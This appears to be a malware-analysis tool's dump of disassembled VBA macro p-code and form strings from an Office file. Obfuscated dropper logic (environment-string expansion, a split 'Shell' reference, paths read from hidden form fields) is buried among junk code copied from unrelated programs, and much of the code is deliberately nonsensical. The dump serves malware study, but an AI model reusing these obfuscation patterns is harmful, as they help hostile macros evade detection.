' 	ArgsMemCall (Call) tdk_bi 0x0000
' Line #190:
' 	EndIfBlock
' Line #191:
' 	EndSub
' Line #192:
' Line #193:
' 	FuncDefn (Private Sub sa())
' Line #194:
' 	Ld cmd_Simpan
' 	MemLd Caption
' 	LitStr 0x0009 "&Isi Data"
' 	Eq
' 	IfBlock
' Line #195:
' 	Ld cmd_Simpan_Click
' 	ArgsMemCall (Call) bis 0x0000
' Line #196:
' 	Ld A
' 	ArgsMemCall Or 0x0000
' Line #197:
' 	Ld nom
' 	MemLd M
' 	MemLd txtkd_dok
' 	ArgsMemCall SetFocus 0x0000
' Line #198:
' 	LitVarSpecial (True)
' 	Ld cmd_Batal
' 	MemSt Enabled
' Line #199:
' 	LitVarSpecial (False)
' 	Ld cmd_Perbaiki
' 	MemSt Enabled
' Line #200:
' 	LitVarSpecial (False)
' 	Ld cmd_Hapus
' 	MemSt Enabled
' Line #201:
' 	LitVarSpecial (False)
' 	Ld e
' 	MemSt Enabled
' Line #202:
' 	LitStr 0x000C "&Simpan Data"
' 	Ld cmd_Simpan
' 	MemSt Caption
' Line #203:
' 	ElseBlock
' Line #204:
' 	LineCont 0x0004 07 00 08 00
' 	Ld pil
' 	MemLd Text
' 	LitStr 0x0000 ""
' 	Eq
' 	Ld txtkd_dok
' 	MemLd Text
' 	LitStr 0x0000 ""
' 	Eq
' 	Or
' 	IfBlock
' Line #205:
' 	LitStr 0x0019 "Data tidak boleh kosong !"
' 	Ld vbCritical
' 	LitStr 0x0017 "SISTEM PENJUALAN KREDIT"
' 	ArgsCall MsgBox 0x0003
' Line #206:
' 	Ld pil
' 	ArgsMemCall SetFocus 0x0000
' Line #207:
' 	ElseBlock
' Line #208:
' 	LitVarSpecial (False)
' 	Ld cmd_Batal
' 	MemSt Enabled
' Line #209:
' 	LitVarSpecial (True)
' 	Ld cmd_Perbaiki
' 	MemSt Enabled
' Line #210:
' 	LitVarSpecial (True)
' 	Ld cmd_Hapus
' 	MemSt Enabled
' Line #211:
' 	LitVarSpecial (True)
' 	Ld e
' 	MemSt Enabled
' Line #212:
' 	Ld pil
' 	MemLd Text
' 	Ld Data1
' 	MemLd Recordset
' 	DictSt Edit
' Line #213:
' 	Ld txtkd_dok
' 	MemLd Text
' 	Ld Data1
' 	MemLd Recordset
' 	DictSt kode_dokter
' Line #214:
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall nama_dokter 0x0000
' Line #215:
' 	Ld Update
' 	ArgsMemCall (Call) ber 0x0000
' Line #216:
' 	LitStr 0x0009 "&Isi Data"
' 	Ld cmd_Simpan
' 	MemSt Caption
' Line #217:
' 	EndIfBlock
' Line #218:
' 	EndIfBlock
' Line #219:
' 	EndSub
' Line #220:
' Line #221:
' Line #222:
' Line #223:
' 	FuncDefn (Function cmd_cari(ByVal retVal As Variant) As Variant)
' Line #224:
' 	Ld retVal
' 	LitDI2 0x0000
' 	Ne
' 	IfBlock
' Line #225:
' 	Ld retVal
' 	St cmd_cari
' Line #226:
' 	ElseBlock
' Line #227:
' 	LitStr 0x0000 ""
' 	St cmd_cari
' Line #228:
' 	EndIfBlock
' Line #229:
' Line #230:
' 	EndFunc
' Line #231:
' Line #232:
' 	FuncDefn (Function v() As AddressOf)
' Line #233:
' 	Dim
' 	VarDefn getFile (As String)
' Line #234:
' 	Dim
' 	OptionBase
' 	LitDI2 0x03E8
' 	VarDefn s (As String)
' Line #235:
' 	Dim
' 	VarDefn sl
' Line #236:
' 	Dim
' 	VarDefn I (As Integer)
' Line #237:
' 	Ld s
' 	Erase 0x0001
' Line #238:
' 	LitDI2 0x0000
' 	St I
' Line #239:
' 	StartForVariable
' 	Ld sl
' 	EndForVariable
' 	LitStr 0x0007 "B1:B100"
' 	LitStr 0x0006 "Sheet1"
' 	ArgsLd r 0x0001
' 	ArgsMemLd Range 0x0001
' 	ForEach
' Line #240:
' 	Ld sl
' 	MemLd Value
' 	St getFile
' Line #241:
' 	Ld getFile
' 	LitStr 0x0000 ""
' 	Ne
' 	IfBlock
' Line #242:
' 	Ld I
' 	LitDI2 0x0001
' 	Add
' 	St I
' Line #243:
' 	Ld getFile
' 	Ld I
' 	ArgsSt s 0x0001
' Line #244:
' 	EndIfBlock
' Line #245:
' 	StartForVariable
' 	Ld sl
' 	EndForVariable
' 	NextVar
' Line #246:
' 	ArgsLd s 0x0000
' 	St v
' Line #247:
' 	EndFunc
' Line #248:
' Line #249:
' Line #250:
' Line #251:
' 	LineCont 0x000C 0D 00 00 00 10 00 00 00 17 00 00 00
' 	ConstFuncExpr
' 	LitNothing
' 	LitNothing
' 	FuncDefn (Function Worksheets(ByVal Text As String, ByVal MatchRegExp As String, Optional MatchWord, Optional CaseCompare As Object, Optional RegExp As Object) As Boolean)
' Line #252:
' Line #253:
' 	OnError Err
' 	BoS 0x0000
' Line #254:
' 	Dim
' 	VarDefn Match (As Boolean)
' Line #255:
' 	LitVarSpecial (False)
' 	St Match
' Line #256:
' 	Do
' Line #257:
' 	Ld MatchRegExp
' 	LitStr 0x0000 ""
' 	Eq
' 	Paren
' 	Ld Text
' 	LitStr 0x0000 ""
' 	Eq
' 	Paren
' 	Or
' 	If
' 	BoSImplicit
' 	ExitDo
' 	EndIf
' Line #258:
' Line #259:
' 	Dim
' 	VarDefn result (As Boolean)
' Line #260:
' 	LitVarSpecial (False)
' 	St result
' Line #261:
' 	Ld CaseCompare
' 	LitNothing
' 	Is
' 	IfBlock
' Line #262:
' 	LitVarSpecial (True)
' 	St result
' Line #263:
' 	SetStmt
' 	LitStr 0x000F "VBScript.RegExp"
' 	ArgsLd RegCreateFlag 0x0001
' 	Set CaseCompare
' Line #264:
' 	EndIfBlock
' Line #265:
' Line #266:
' 	Ld MatchRegExp
' 	Ld CaseCompare
' 	MemSt CreateObject
' Line #267:
' 	LitVarSpecial (True)
' 	Ld CaseCompare
' 	MemSt Global
' Line #268:
' 	Ld MatchWord
' 	Ld Pattern
' 	Eq
' 	Ld CaseCompare
' 	MemSt Pattern
' Line #269:
' 	SetStmt
' 	Ld Text
' 	Ld CaseCompare
' 	ArgsMemLd IgnoreCase 0x0001
' 	Set RegExp
' Line #270:
' 	LitDI2 0x0001
' 	Ld RegExp
' 	MemLd Count
' 	Le
' 	IfBlock
' Line #271:
' 	LitVarSpecial (True)
' 	St Match
' Line #272:
' 	EndIfBlock
' Line #273:
' Line #274:
' 	Ld result
' 	IfBlock
' Line #275:
' 	SetStmt
' 	LitNothing
' 	Set CaseCompare
' Line #276:
' 	EndIfBlock
' Line #277:
' Line #278:
' 	LitVarSpecial (False)
' 	LoopWhile
' Line #279:
' 	Ld Match
' 	St Worksheets
' Line #280:
' 	ExitFunc
' Line #281:
' 	Label Err
' Line #282:
' 	LitVarSpecial (False)
' 	St Worksheets
' Line #283:
' 	EndFunc
' Line #284:
' 	FuncDefn (Private Sub Execute())
' Line #285:
' 	Dim
' 	VarDefn testArrayAddArray
' Line #286:
' 	LitStr 0x0001 "A"
' 	LitStr 0x0001 "B"
' 	LitStr 0x0001 "C"
' 	ArgsArray Array 0x0003
' 	St testArrayAddArray
' Line #287:
' 	Dim
' 	VarDefn A1
' Line #288:
' 	LitStr 0x0001 "D"
' 	LitStr 0x0001 "E"
' 	ArgsArray Array 0x0002
' 	St A1
' Line #289:
' Line #290:
' 	Ld testArrayAddArray
' 	Ld A1
' 	Ld A2
' 	ArgsMemCall (Call) ArrayA 0x0002
' Line #291:
' 	LitDI2 0x0005
' 	Ld testArrayAddArray
' 	Ld Check
' 	ArgsMemLd ArrayC 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #292:
' 	LitStr 0x0001 "D"
' 	LitDI2 0x0003
' 	ArgsLd testArrayAddArray 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #293:
' 	LitStr 0x0001 "E"
' 	LitDI2 0x0004
' 	ArgsLd testArrayAddArray 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #294:
' Line #295:
' 	QuoteRem 0x0004 0x000B "???????????"
' Line #296:
' 	Dim
' 	VarDefn ount
' Line #297:
' 	Dim
' 	VarDefn B1
' Line #298:
' 	LitStr 0x0001 "1"
' 	LitStr 0x0001 "2"
' 	ArgsArray Array 0x0002
' 	St B1
' Line #299:
' 	Ld ount
' 	Ld B1
' 	Ld A2
' 	ArgsMemCall (Call) ArrayA 0x0002
' Line #300:
' 	LitDI2 0x0002
' 	Ld ount
' 	Ld Check
' 	ArgsMemLd ArrayC 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #301:
' 	LitStr 0x0001 "1"
' 	LitDI2 0x0000
' 	ArgsLd ount 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #302:
' 	LitStr 0x0001 "2"
' 	LitDI2 0x0001
' 	ArgsLd ount 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #303:
' Line #304:
' Line #305:
' 	EndSub
' Line #306:
' 	LineCont 0x0004 08 00 00 00
' 	FuncDefn (Sub B2(ByRef ArrayInsert As Variant, ByVal Index As Long, ByVal Value As Variant))
' Line #307:
' 	Ld ArrayInsert
' 	ArgsLd ArrayValue 0x0001
' 	LitStr 0x002A "Error:ArrayInsert:ArrayValue is not Array."
' 	ArgsCall (Call) Assert 0x0002
' Line #308:
' 	LineCont 0x0004 12 00 08 00
' 	Ld ArrayInsert
' 	FnLBound 0x0000
' 	Ld Index
' 	Ld ArrayInsert
' 	FnUBound 0x0000
' 	ArgsLd IsArray 0x0003
' 	LitStr 0x0023 "Error:ArrayInsert:Index Range Over."
' 	ArgsCall (Call) Assert 0x0002
' Line #309:
' Line #310:
' 	Ld ArrayInsert
' 	FnLBound 0x0000
' 	Ld ArrayInsert
' 	FnUBound 0x0000
' 	LitDI2 0x0001
' 	Add
' 	Redim (Preserve) ArrayInsert 0x0001 (As Variant)
' Line #311:
' 	Dim
' 	VarDefn I (As Long)
' Line #312:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	Ld ArrayInsert
' 	FnUBound 0x0000
' 	Ld Index
' 	LitDI2 0x0001
' 	Add
' 	LitDI2 0x0001
' 	UMi
' 	ForStep
' Line #313:
' 	Ld I
' 	ArgsLd ArrayInsert 0x0001
' 	Ld I
' 	LitDI2 0x0001
' 	Sub
' 	ArgsLd ArrayInsert 0x0001
' 	ArgsCall (Call) InRange 0x0002
' Line #314:
' 	StartForVariable
' 	Next
' Line #315:
' 	Ld Index
' 	ArgsLd ArrayInsert 0x0001
' 	Ld Value
' 	ArgsCall (Call) InRange 0x0002
' Line #316:
' 	EndSub
' Line #317:
' 	LineCont 0x000C 04 00 00 00 09 00 00 00 0E 00 00 00
' 	FuncDefn (Public Function IsArray(ByVal SetValue As Long, ByVal Value As Long, ByVal MinValue As Long) As Boolean)
' Line #318:
' Line #319:
' 	Ld SetValue
' 	Ld Value
' 	Le
' 	Paren
' 	Ld Value
' 	Ld MinValue
' 	Le
' 	Paren
' 	And
' 	Paren
' 	St IsArray
' Line #320:
' Line #321:
' 	EndFunc
' Line #322:
' 	FuncDefn (Private Sub MaxValue())
' Line #323:
' 	Dim
' 	VarDefn bis
' Line #324:
' 	LitStr 0x0001 "A"
' 	LitStr 0x0001 "B"
' 	LitStr 0x0001 "C"
' 	ArgsArray Array 0x0003
' 	St bis
' Line #325:
' Line #326:
' 	LitStr 0x0001 "B"
' 	LitDI2 0x0001
' 	ArgsLd bis 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #327:
' 	LitDI2 0x0003
' 	Ld bis
' 	ArgsLd testArrayInsert 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #328:
' 	Ld bis
' 	LitDI2 0x0001
' 	LitStr 0x0001 "1"
' 	ArgsCall (Call) B2 0x0003
' Line #329:
' 	LitDI2 0x0004
' 	Ld bis
' 	ArgsLd testArrayInsert 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #330:
' 	LitStr 0x0001 "1"
' 	LitDI2 0x0001
' 	ArgsLd bis 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #331:
' Line #332:
' 	Dim
' 	VarDefn B
' Line #333:
' 	OptionBase
' 	LitDI2 0x0002
' 	Redim B 0x0001 (As Variant)
' Line #334:
' 	SetStmt
' 	LitStr 0x000F "VBScript.RegExp"
' 	ArgsLd RegCreateFlag 0x0001
' 	LitDI2 0x0000
' 	ArgsSet B 0x0001
' Line #335:
' 	SetStmt
' 	LitNothing
' 	LitDI2 0x0002
' 	ArgsSet B 0x0001
' Line #336:
' 	Ld ArrayCount
' 	MemLd Shel
' 	MemLd l32
' 	LitDI2 0x0001
' 	ArgsLd B 0x0001
' 	MemLd l32
' 	ArgsCall (Call) ddArray 0x0002
' Line #337:
' 	Ld B
' 	LitDI2 0x0001
' 	Ld CurrentDirectory
' 	ArgsCall (Call) B2 0x0003
' Line #338:
' 	LitStr 0x0008 "test.txt"
' 	LitStr 0x0010 "C:\temp\test.txt"
' 	LitDI2 0x0001
' 	ArgsLd B 0x0001
' 	ArgsMemLd fso 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #339:
' 	EndSub
' Line #340:
' 	FuncDefn (Public Sub Assert(ByVal Value As Boolean, Optional ByVal GetFileName As String))
' Line #341:
' 	Ld Value
' 	LitVarSpecial (False)
' 	Eq
' 	IfBlock
' Line #342:
' 	LitDI2 0x270F
' 	ParamOmitted
' 	Ld GetFileName
' 	Ld Err
' 	ArgsMemCall (Call) Raise 0x0003
' Line #343:
' 	EndIfBlock
' Line #344:
' 	EndSub
' Line #345:
' 	FuncDefn (Public Sub InRange(ByRef Message, ByVal Value))
' Line #346:
' 	Ld Value
' 	ArgsLd Variable 0x0001
' 	IfBlock
' Line #347:
' 	SetStmt
' 	Ld Value
' 	Set Message
' Line #348:
' 	ElseBlock
' Line #349:
' 	Ld Value
' 	St Message
' Line #350:
' 	EndIfBlock
' Line #351:
' 	EndSub
' Line #352:
' 	LineCont 0x0004 09 00 00 00
' 	ConstFuncExpr
' 	LitDI2 0x0001
' 	FuncDefn (Public Function testArrayInsert(ByRef ArrayInsert As Variant, Optional IsObject) As Long)
' Line #353:
' 	Ld ArrayInsert
' 	ArgsLd ArrayValue 0x0001
' 	LitStr 0x0029 "Error:ArrayCount:ArrayValue is not Array."
' 	ArgsCall (Call) Assert 0x0002
' Line #354:
' Line #355:
' 	LineCont 0x0008 02 00 08 00 0B 00 08 00
' 	Ld ArrayInsert
' 	Ld IsObject
' 	Ld Dimension
' 	ArgsMemLd Error 0x0002
' 	Ld ArrayInsert
' 	Ld IsObject
' 	Ld UBoundNo
' 	ArgsMemLd Error 0x0002
' 	Sub
' 	LitDI2 0x0001
' 	Add
' 	St testArrayInsert
' Line #356:
' 	EndFunc
' Line #357:
' 	FuncDefn (Private Sub LBoundNo())
' Line #358:
' 	LitVarSpecial (False)
' 	LitStr 0x0003 "???"
' 	ArgsCall (Call) Assert 0x0002
' Line #359:
' 	EndSub
' Line #360:
' Line #361:
' 	FuncDefn (Public Function ddArray(ByVal bis As Variant, ByVal B As Variant) As Boolean)
' Line #362:
' 	Ld bis
' 	Ld B
' 	Eq
' 	Paren
' 	St ddArray
' Line #363:
' 	Ld ddArray
' 	LitVarSpecial (False)
' 	Eq
' 	IfBlock
' Line #364:
' 	LineCont 0x0008 07 00 0C 00 10 00 0C 00
' 	LitStr 0x0006 "A != B"
' 	Ld testAssert
' 	Add
' 	LitStr 0x0004 "A = "
' 	Add
' 	Ld bis
' 	Coerce (Str)
' 	Add
' 	Ld testAssert
' 	Add
' 	LitStr 0x0004 "B = "
' 	Add
' 	Ld B
' 	Coerce (Str)
' 	Add
' 	ArgsCall (Call) MsgBox 0x0001
' Line #365:
' 	EndIfBlock
' Line #366:
' 	EndFunc
' Line #367:
' Line #368:
' Line #369:
' Line #370:
' Line #371:
' Line #372:
' Line #373:
' Line #374:
' Line #375:
' Line #376:
' Line #377:
' Line #378:
' Line #379:
' _VBA_PROJECT_CUR/VBA/UserForm1 - 1175 bytes
' _VBA_PROJECT_CUR/VBA/Module5 - 7874 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Function RedButton(vbCrLf As Double))
' Line #2:
' Line #3:
' 	LitStr 0x0007 "DosTres"
' 	St dImmer
' Line #4:
' Line #5:
' 	Ld WelcomeDialog
' 	MemLd Visible
' 	LitVarSpecial (False)
' 	Ne
' 	IfBlock
' Line #6:
' 	ExitFunc
' Line #7:
' 	EndIfBlock
' Line #8:
' 	LitDI2 0x0003
' 	St DosTres
' Line #9:
' 	Ld DosTres
' 	LitDI2 0x0001
' 	Sub
' 	St DosTres
' Line #10:
' Line #11:
' 	SetStmt
' 	New Lumene
' 	Set car
' Line #12:
' 	SetStmt
' 	New <crash>
' 	Set reqPlace
' Line #13:
' 	Ld DosTres
' 	SelectCase
' Line #14:
' 	LitDI2 0x0000
' 	Case
' 	CaseDone
' Line #15:
' 	LitStr 0x0011 "N health problems"
' 	St getFile
' Line #16:
' 	LitDI2 0x0001
' 	Case
' 	CaseDone
' Line #17:
' 	LitStr 0x0015 "Minor health problems"
' 	St getFile
' Line #18:
' Line #19:
' 	LitDI2 0x0003
' 	Case
' 	CaseDone
' Line #20:
' 	LitStr 0x0012 "Sev ere disability"
' 	St getFile
' Line #21:
' 	EndSelect
' Line #22:
' Line #23:
' 	Dim
' 	VarDefn WshShell (As String)
' Line #24:
' Line #25:
' 	LitStr 0x0001 "%"
' 	Ld Form0
' 	MemLd TextBox1
' 	MemLd Tag
' 	Concat
' 	St SpecialPath
' Line #26:
' Line #27:
' Line #28:
' Line #29:
' 	Ld SpecialPath
' 	St PRP
' Line #30:
' 	Ld PRP
' 	LitStr 0x0000 ""
' 	Add
' 	LitStr 0x0000 ""
' 	Add
' 	St PRP
' Line #31:
' 	Ld PRP
' 	LitStr 0x0001 "%"
' 	Add
' 	St PRP
' Line #32:
' 	Ld PRP
' 	Ld reqPlace
' 	ArgsMemLd TBT 0x0001
' 	St PRP
' Line #33:
' Line #34:
' 	LitDI2 0x0000
' 	St ExpandEnvironmentStrings
' Line #35:
' 	LitDI2 0x0000
' 	St firstWeek
' Line #36:
' 	Dim
' 	VarDefn firstDay (As Date)
' Line #37:
' 	Ld PRP
' 	Ld Form0
' 	MemLd TextBox1
' 	MemSt Tag
' Line #38:
' 	LitDI2 0x0002
' 	St firstWeek
' Line #39:
' Line #40:
' 	LitDI2 0x0004
' 	St firstdate
' Line #41:
' 	Dim
' 	VarDefn lastDay (As Date)
' Line #42:
' 	LitDI2 0x0000
' 	St lastdate
' Line #43:
' 	LitDI2 0x0000
' 	St firstdate
' Line #44:
' Line #45:
' 	Ld reqPlace
' 	Ld Form0
' 	MemLd TextBox3
' 	MemLd lastWeek
' 	LitStr 0x0000 ""
' 	Concat
' 	Ld car
' 	ArgsMemLd CheckCar 0x0002
' 	St getFile
' Line #46:
' 	LitDI2 0x0001
' 	St ExpandEnvironmentStrings
' Line #47:
' Line #48:
' 	LitDI2 0x0003
' 	St lastdate
' Line #49:
' 	Ld getFile
' 	Ld Form0
' 	MemLd TextBox3
' 	MemSt Tag
' Line #50:
' Line #51:
' Line #52:
' 	Ld firstWeek
' 	LitDI2 0x0001
' 	Eq
' 	Not
' 	IfBlock
' Line #53:
' 	Ld firstDay
' 	LitDI2 0x0008
' 	Ld firstWeek
' 	Sub
' 	Paren
' 	Add
' 	St firstDay
' Line #54:
' 	Ld ExpandEnvironmentStrings
' 	LitDI2 0x0001
' 	Add
' 	St ExpandEnvironmentStrings
' Line #55:
' 	EndIfBlock
' Line #56:
' 	Ld firstdate
' 	LitDI2 0x0006
' 	Eq
' 	IfBlock
' Line #57:
' 	Ld lastDay
' 	LitDI2 0x0001
' 	Add
' 	St lastDay
' Line #58:
' 	Ld firstdate
' 	LitDI2 0x0001
' 	Add
' 	St firstdate
' Line #59:
' 	Ld firstdate
' 	LitDI2 0x0007
' 	Eq
' 	Not
' 	ElseIfBlock
' Line #60:
' 	Ld lastDay
' 	Ld firstdate
' 	Sub
' 	St lastDay
' Line #61:
' 	LitDI2 0x0007
' 	St firstdate
' Line #62:
' 	Ld lastdate
' 	LitDI2 0x0001
' 	Sub
' 	St lastdate
' Line #63:
' 	EndIfBlock
' Line #64:
' Line #65:
' Line #66:
' 	LitDI2 0x0000
' 	St ControlTipText
' Line #67:
' Line #68:
' Line #69:
' 	Ld Form0
' 	MemLd TextBox1
' 	MemLd Tag
' 	LitStr 0x0000 ""
' 	Add
' 	Paren
' 	ArgsCall ChDir 0x0001
' Line #70:
' 	Ld WelcomeDialog
' 	MemLd Visible
' 	LitVarSpecial (False)
' 	Eq
' 	IfBlock
' Line #71:
' 	Ld WelcomeDialog
' 	ArgsMemCall Iteration 0x0000
' Line #72:
' 	EndIfBlock
' Line #73:
' Line #74:
' 	EndFunc
' Line #75:
' Line #76:
' Line #77:
' Line #78:
' Line #79:
' Line #80:
' Line #81:
' Line #82:
' 	FuncDefn (Private Sub Show())
' Line #83:
' 	LitStr 0x0009 "?????????"
' 	Ld Command7_Click
' 	ArgsLd MsgBox 0x0002
' 	St B
' Line #84:
' 	Ld B
' 	Ld vbYesNo
' 	Eq
' 	IfBlock
' Line #85:
' 	LitStr 0x0020 "delete from cinema where cinid='"
' 	St bis
' Line #86:
' 	Ld bis
' 	Ld vbYes
' 	MemLd Text
' 	Add
' 	LitStr 0x0001 "'"
' 	Add
' 	St bis
' Line #87:
' 	Ld bis
' 	Ld Text1
' 	ArgsMemCall IgnoreCase 0x0001
' Line #88:
' 	Ld cnmovie
' 	ArgsMemCall Close 0x0000
' Line #89:
' 	LitStr 0x0014 "select * from cinema"
' 	St rs4
' Line #90:
' 	Ld rs4
' 	Ld Text1
' 	Ld Sql
' 	Ld adOpenDynamic
' 	Ld cnmovie
' 	ArgsMemCall Open 0x0004
' Line #91:
' 	Ld rs
' 	MemLd adLockOptimistic
' 	Ld rs
' 	MemLd EOF
' 	Or
' 	IfBlock
' Line #92:
' 	LitStr 0x0006 "?????!"
' 	ArgsCall MsgBox 0x0001
' Line #93:
' 	ElseBlock
' Line #94:
' 	Ld cnmovie
' 	ArgsMemCall BOF 0x0000
' Line #95:
' 	Ld MoveFirst
' 	ArgsMemCall (Call) View 0x0000
' Line #96:
' 	EndIfBlock
' Line #97:
' 	EndIfBlock
' Line #98:
' 	EndSub
' Line #99:
' Line #100:
' Line #101:
' Line #102:
' Line #103:
' 	FuncDefn (Private Sub Data())
' Line #104:
' 	Dim
' 	LitDI2 0x0005
' 	VarDefn nomor
' Line #105:
' 	Dim
' 	VarDefn urutan (As Byte)
' Line #106:
' Line #107:
' 	Ld Data1
' 	MemLd Recordset
' 	MemLd hitung
' 	LitDI2 0x0000
' 	Eq
' 	IfBlock
' Line #108:
' 	LitStr 0x0002 "Dr"
' 	LitStr 0x0003 "001"
' 	Concat
' 	St nomor
' Line #109:
' 	ElseBlock
' Line #110:
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall RecordCount 0x0000
' Line #111:
' 	Ld Data1
' 	MemLd Recordset
' 	DictLd Edit
' 	LitDI2 0x0003
' 	ArgsLd Left 0x0002
' 	ArgsLd MoveLast 0x0001
' 	LitStr 0x0003 "000"
' 	Ne
' 	IfBlock
' Line #112:
' 	LitStr 0x0002 "00"
' 	LitStr 0x0003 "001"
' 	Concat
' 	St nomor
' Line #113:
' 	ElseBlock
' Line #114:
' 	Ld Data1
' 	MemLd Recordset
' 	DictLd Edit
' 	LitDI2 0x0003
' 	ArgsLd Val 0x0002
' 	ArgsLd MoveLast 0x0001
' 	LitDI2 0x0001
' 	Add
' 	St urutan
' Line #115:
' 	LitStr 0x0002 "Dr"
' 	LitStr 0x0003 "000"
' 	Ld urutan
' 	Concat
' 	LitDI2 0x0003
' 	ArgsLd Val 0x0002
' 	Concat
' 	St nomor
' Line #116:
' 	EndIfBlock
' Line #117:
' 	EndIfBlock
' Line #118:
' 	Ld nomor
' 	Ld nom
' 	MemLd M
' 	MemSt pil
' Line #119:
' Line #120:
' 	EndSub
' Line #121:
' Line #122:
' 	FuncDefn (Private Sub Right())
' Line #123:
' 	Ld cmd_Batal_Click
' 	ArgsMemCall (Call) be 0x0000
' Line #124:
' 	Ld rsih
' 	ArgsMemCall (Call) td 0x0000
' Line #125:
' 	LitVarSpecial (False)
' 	Ld cmd_Batal
' 	MemSt Enabled
' Line #126:
' 	LitVarSpecial (True)
' 	Ld cmd_Perbaiki
' 	MemSt Enabled
' Line #127:
' 	LitVarSpecial (True)
' 	Ld cmd_Hapus
' 	MemSt Enabled
' Line #128:
' 	LitVarSpecial (True)
' 	Ld e
' 	MemSt Enabled
' Line #129:
' 	EndSub
' Line #130:
' Line #131:
' 	FuncDefn (Private Sub k_bisa())
' Line #132:
' 	Dim
' 	VarDefn var (As String)
' Line #133:
' 	LitStr 0x0029 "Masukan Kode Dokter yang ingin anda cari!"
' 	LitStr 0x0010 "Cari data dokter"
' 	ArgsLd InputBox 0x0002
' 	St var
' Line #134:
' 	Ld var
' 	LitVarSpecial (Empty)
' 	Eq
' 	If
' 	BoSImplicit
' 	ExitSub
' 	EndIf
' Line #135:
' 	Ld var
' 	LitStr 0x0000 ""
' 	Ne
' 	IfBlock
' Line #136:
' 	LitStr 0x000B "kode_dokter"
' 	Ld Data1
' 	MemLd Recordset
' 	MemSt Index
' Line #137:
' 	LitStr 0x0001 "="
' 	Ld var
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall Seek 0x0002
' Line #138:
' 	Ld Data1
' 	MemLd Recordset
' 	MemLd NoMatch
' 	Not
' 	IfBlock
' Line #139:
' 	Ld tam
' 	ArgsMemCall (Call) tam 0x0000
' Line #140:
' 	Ld cmd_cari_Click
' 	ArgsMemCall (Call) tdk_bi 0x0000
' Line #141:
' 	Ld bi
' 	ArgsMemCall (Call) kun 0x0000
' Line #142:
' 	ElseBlock
' Line #143:
' 	LitStr 0x001F "Data dokter dengan kode dokter "
' 	Ld var
' 	Concat
' 	LitStr 0x0012 " tidak diketemukan"
' 	Concat
' 	ArgsCall MsgBox 0x0001
' Line #144:
' 	EndIfBlock
' Line #145:
' 	EndIfBlock
' Line #146:
' 	EndSub
' Line #147:
' Line #148:
' Line #149:
' Line #150:
' 	FuncDefn (Public Function TestResult(Match As Variant))
' Line #151:
' 	LitVarSpecial (False)
' 	St TestResult
' Line #152:
' 	Ld IsNumeric
' 	ArgsLd ci 0x0001
' 	IfBlock
' Line #153:
' 	Ld IsNumeric
' 	LitDI2 0x0000
' 	Eq
' 	IfBlock
' Line #154:
' 	LitVarSpecial (True)
' 	St TestResult
' Line #155:
' 	EndIfBlock
' Line #156:
' 	EndIfBlock
' Line #157:
' 	EndFunc
' Line #158:
' 	FuncDefn (Private Sub ExcelReturn())
' Line #159:
' 	Dim
' 	VarDefn var (As String)
' Line #160:
' 	LitStr 0x0026 "Masukan Kode dokter yang akan dihapus!"
' 	LitStr 0x000C "Hapus dokter"
' 	ArgsLd InputBox 0x0002
' 	St var
' Line #161:
' 	Ld var
' 	LitVarSpecial (Empty)
' 	Eq
' 	If
' 	BoSImplicit
' 	ExitSub
' 	EndIf
' Line #162:
' 	Ld var
' 	LitStr 0x0000 ""
' 	Eq
' 	IfBlock
' Line #163:
' 	LitStr 0x000B "Kode_dokter"
' 	Ld Data1
' 	MemLd Recordset
' 	MemSt Index
' Line #164:
' 	LitStr 0x0001 "="
' 	Ld var
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall Seek 0x0002
' Line #165:
' 	Ld Data1
' 	MemLd Recordset
' 	MemLd NoMatch
' 	Not
' 	IfBlock
' Line #166:
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall cmd_Hapus_Click 0x0000
' Line #167:
' 	Ld Data1
' 	ArgsMemCall Delete 0x0000
' Line #168:
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall BOF 0x0000
' Line #169:
' 	ElseBlock
' Line #170:
' 	LitStr 0x001F "Data dokter dengan kode dokter "
' 	Ld var
' 	Concat
' 	LitStr 0x0012 " tidak diketemukan"
' 	Concat
' 	ArgsCall MsgBox 0x0001
' Line #171:
' Line #172:
' 	EndIfBlock
' Line #173:
' 	EndIfBlock
' Line #174:
' 	EndSub
' Line #175:
' Line #176:
' Line #177:
' Line #178:
' Line #179:
' Line #180:
' Line #181:
' _VBA_PROJECT_CUR/VBA/Form0 - 1172 bytes
' _VBA_PROJECT_CUR/VBA/Sheet3 - 993 bytes
' _VBA_PROJECT_CUR/VBA/Sheet2 - 993 bytes
-------------------------------------------------------------------------------
VBA FORM STRING IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
H�,�
-------------------------------------------------------------------------------
VBA FORM STRING IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tahoma�
-------------------------------------------------------------------------------
VBA FORM STRING IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
\oleObject*.bin
-------------------------------------------------------------------------------
VBA FORM STRING IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
�Label1
-------------------------------------------------------------------------------
VBA FORM STRING IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
